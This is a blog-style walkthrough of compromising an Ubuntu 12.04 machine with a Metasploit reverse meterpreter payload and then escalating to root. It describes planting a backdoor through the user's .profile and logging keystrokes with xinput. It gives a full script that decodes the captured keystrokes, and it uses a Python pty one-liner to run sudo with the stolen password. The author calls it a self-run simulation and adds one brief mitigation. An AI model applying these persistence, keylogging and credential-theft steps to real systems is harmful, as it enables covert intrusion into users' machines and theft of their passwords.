This was a particularly fun exercise and I decided to share the details as well as the scripts that I’ve created and modified from various sources. First of all, there are very few articles describing Metasploit meterpreter used against Linux (Ubuntu in this case) so I decided to fill in the gap and make this walk-trough from the point where the target runs our binary payload to a complete root compromise of the target system. So this is what I have used in my scenario:
- Ubuntu 12.04 LTS 32bit default installation with all updates running inside a VM
- Metasploit framework – current
- Debian Squeeze 64bit as my host platform
So first of all I have prepared a simple little binary elf generator in bash to make things easier. Place this file in the Metasploit root folder :
OK now we have an ELF binary called Executive which we will use on the target Ubuntu system.
Next we need to start up a listener for our reverse meterpreter shell, again place this file in the root folder of Metasploit.
So once we have the listener interface up and running we can move onto the target Ubuntu system.
I got some feedback regarding how did the executable get to the target in the first place. Well I copied it there myself, being myself as the potential victim. This is not a real world scenario, but rather a simulation of what is possible. I do not wish to get into details on how to push the binary to the user. It is not in the scope of this exercise. But bear in mind that there are a few ways to do it.
Pictures say more than words, so here is a screenshot of the whole process >
So now we are ready to execute the “Unknown” binary on the target computer. When I double click the Executive binary nothing happens, but we get a reverse shell on our listener interface.
So what now ? We have a shell, but we want Root right ? The next few steps get more interesting as we go deeper into the problem.We will plant a backdoor into the home folder of the current user and execute it via the .profile script when the user logs in. So we first download the .profile from the home directory
We modify the .profile locally to include the backdoor by adding a launcher to the Executive binary like so ./.executive & (make sure it is executable)
And finally we upload the modified .profile to the target like so
Next we upload the ELF binary executable to the home folder and rename it it .executive and make sure it is RWX
So now we have a permanent backdoor planted, and every time the target logs in he executes silently the elf binary called .executive in his .profile.
So now what, we have a user shell and we want more, we want root right ? So lets get root.
Ubuntu ships with xinput so we can abuse this as a keylogger and record every keystroke the user inputs while in his X session. I have developed a special set of scripts usable with Metasploit to make the whole process fast and easy. So now we need to upload a keylog.sh script to the target and execute it.
Here is the source for the keylog.sh
This script is pretty self explanatory, we set the DISPLAY, get the xinput ID for the keyboard, dump the xmodmap to /tmp/.xkey.log and append any keystrokes to the same /tmp/.xkey.log file. We need to download the /tmp/.xkey.log file after a while to see if there are any captured keystrokes and decode it.
So we upload it and run it
We put in the KBD ID in this case it is id=10
And terminate the shell session as the keylogger is running in the background. After a while when we think that the log file with keystrokes is full we download the .xkey.log from the /tmp folder like so
Next we need to decode the content of the .xkey.log so it would be readable. I have created a special decoder script that can do just that. Again the .xkey.log needs to be in the path of the decoder script
cat .xkey.log | grep keycode > xmodmap.pke
cat .xkey.log | grep ‘key p’ > xlog
rm -f .xkey.log
#Generating some Python to do the decoding
echo ‘import re, collections, sys’ > decoder.py
echo ‘from subprocess import *’ >> decoder.py
echo ‘def keyMap():’ >> decoder.py
echo ‘ table = open(“xmodmap.pke”)’ >> decoder.py
echo ‘ key = ’ >> decoder.py
echo ‘ for line in table:’ >> decoder.py
echo ” m = re.match(‘keycode +(\d+) = (.+)’, line.decode())” >> decoder.py
echo ‘ if m and m.groups():’ >> decoder.py
echo ‘ key.append(m.groups().split()+”_____”+m.groups())’ >> decoder.py
echo ‘ return key’ >> decoder.py
echo ‘def printV(letter):’ >> decoder.py
echo ‘ key=keyMap();’ >> decoder.py
echo ‘ for i in key:’ >> decoder.py
echo ‘ if str(letter) == i.split(“_____”):’ >> decoder.py
echo ‘ return i.split(“_____”)’ >> decoder.py
echo ‘ return letter’ >> decoder.py
echo ‘if len(sys.argv) < 2:’ >> decoder.py
echo ‘ print “Usage: %s FILE” % sys.argv;’ >> decoder.py
echo ‘ exit();’ >> decoder.py
echo ‘else:’ >> decoder.py
echo ‘ f = open(sys.argv)’ >> decoder.py
echo ‘ lines = f.readlines()’ >> decoder.py
echo ‘ f.close()’ >> decoder.py
echo ‘ for line in lines:’ >> decoder.py
echo ” m = re.match(‘key press +(\d+)’, line)” >> decoder.py
echo ‘ if m:’ >> decoder.py
echo ‘ keycode = m.groups()’ >> decoder.py
echo ‘ print (printV(keycode))’ >> decoder.py
echo ‘Please see LOG-keylogger for the output……’
python decoder.py xlog > LOG
sed ‘:a;N;$!ba;s/\n/ /g’ LOG > LOG-keylogger
rm -f LOG
rm -f xmodmap.pke
rm -f decoder.py
rm -f xlog
So when we run this script (python is needed) we can see something like this:
So if the user does elevate via sudo then we get the password in this log. So how do we do sudo su in the meterpreter shell ? Normally we cannot as you can see here in the screenshot
There is a trick however that can bypass the no TTY problem and that is Python. Python is shipped by default on Ubuntu 12.04 LTS so we can type this:
python -c ‘import pty;pty.spawn(“/bin/bash”)’ and we can elevate to root via sudo su
And that is the end. We now have root and own the box. I hope you have enjoyed reading this as much as I have creating it. CentOS, Debian Squeeze for example do not ship the xinput binary by default, so this attack is not possible.
A quick and dirty solution is just # chmod a-x /path/to/xinput to prevent keyboard sniffing.
UPDATE > even if the xinput binary is not present on the system, we can upload a generic one to the target and execute it via the meterpreter shell. I have tested the Ubuntu 12.04 LTS 32bit xinput against Debian Squeeze 64bit and it works and we can sniff the keyboard.
Here is a video presentation of the above attack